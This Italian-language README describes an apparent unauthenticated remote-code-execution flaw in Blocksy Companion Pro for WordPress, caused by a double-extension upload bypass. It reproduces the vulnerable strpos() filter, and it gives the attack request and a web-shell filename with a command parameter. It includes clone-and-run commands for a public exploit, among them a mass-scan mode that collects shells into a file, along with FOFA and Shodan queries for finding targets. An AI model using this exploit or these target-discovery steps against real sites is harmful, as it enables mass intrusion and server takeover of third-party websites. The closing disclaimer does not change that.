
CVE-2026-58480 / CVE-2026-15158 — RCE non autenticato in Blocksy Companion Pro < 2.1.47 (oltre 300K installazioni). Caricamento arbitrario di file senza autenticazione tramite bypass della doppia estensione.
CVE-2026-58480 (anche tracciata come CVE-2026-15158) è una vulnerabilità critica (CVSS 9.8) di upload arbitrario di file non autenticato in Blocksy Companion Pro < 2.1.47 — l'addon premium per il tema WordPress Blocksy (oltre 300.000 installazioni attive).
Il gestore AJAX save_attachments nella funzionalità Advanced Reviews (parte di WooCommerce Extra) accetta upload di file senza autenticazione. L'estensione Custom Fonts valida gli upload tramite un controllo di sottostringa strpos() per .woff2 / .ttf — non l'estensione effettiva del file. Gli attaccanti bypassano questo controllo con nomi di file a doppia estensione come shell.woff2.php: .woff2 soddisfa il controllo di sottostringa, .php viene eseguito sul server.
| Versione | Stato |
|---|---|
| < 2.1.47 | Vulnerabile |
| 2.1.47+ | Corretta |
Requisiti: licenza premium con le estensioni WooCommerce Extra (Advanced Reviews) E Custom Fonts attive. Il plugin gratuito
blocksy-companionnon contiene i percorsi di codice vulnerabili.
L'estensione Custom Fonts registra un filtro wp_check_filetype_and_ext che valida i nomi file usando strpos() — una corrispondenza di sottostringa — invece di verificare l'estensione effettiva tramite PATHINFO_EXTENSION:
// framework/premium/extensions/custom-fonts/extension.php#L137 (ricostruito)
add_filter('wp_check_filetype_and_ext', function($data, $file, $filename, $mimes, $real_mime) {
if (strpos($filename, '.woff2') !== false ||
strpos($filename, '.ttf') !== false) {
$data['ext'] = 'woff2';
$data['type'] = 'font/woff2';
}
return $data;
}, 10, 5);
La funzione save_attachments in Advanced Reviews chiama la gestione standard degli upload di WordPress, che a sua volta invoca questo filtro. Un file chiamato shell.woff2.php passa perché .woff2 esiste come sottostringa — il filtro NON verifica che sia l'estensione finale.
POST /wp-admin/admin-ajax.php
action=blc_save_review_attachments
blc-review-images[] = shell.woff2.php (multipart, payload PHP)
→ filtro wp_check_filetype_and_ext: ".woff2" trovato → approvato
→ File salvato in wp-content/uploads/YYYY/MM/shell.woff2.php
→ GET /wp-content/uploads/YYYY/MM/shell.woff2.php?cmd=id
→ RCE come www-data
| File (Trac) | Riga | Scopo |
|---|---|---|
framework/premium/extensions/custom-fonts/extension.php | 137 | Filtro di validazione con strpos() |
framework/premium/extensions/woocommerce-extra/features/advanced-reviews/feature.php |
git clone https://github.com/shinthink/CVE-2026-58480.git
cd CVE-2026-58480
pip install requests
# Rileva il target
python exploit.py -u https://target.com --check
# Exploit completo
python exploit.py -u https://target.com
# Scansione di massa
python exploit.py -f targets.txt -o shells.txt
FOFA: body="/wp-content/themes/blocksy/"
Shodan: http.html:"blocksy-companion"
blc-review-images[]wp_check_filetype_and_extQuesto exploit è fornito esclusivamente per scopi educativi e di ricerca sulla sicurezza autorizzata. Non utilizzarlo contro sistemi senza il permesso esplicito del proprietario.
| 811 |
Gestore save_attachments |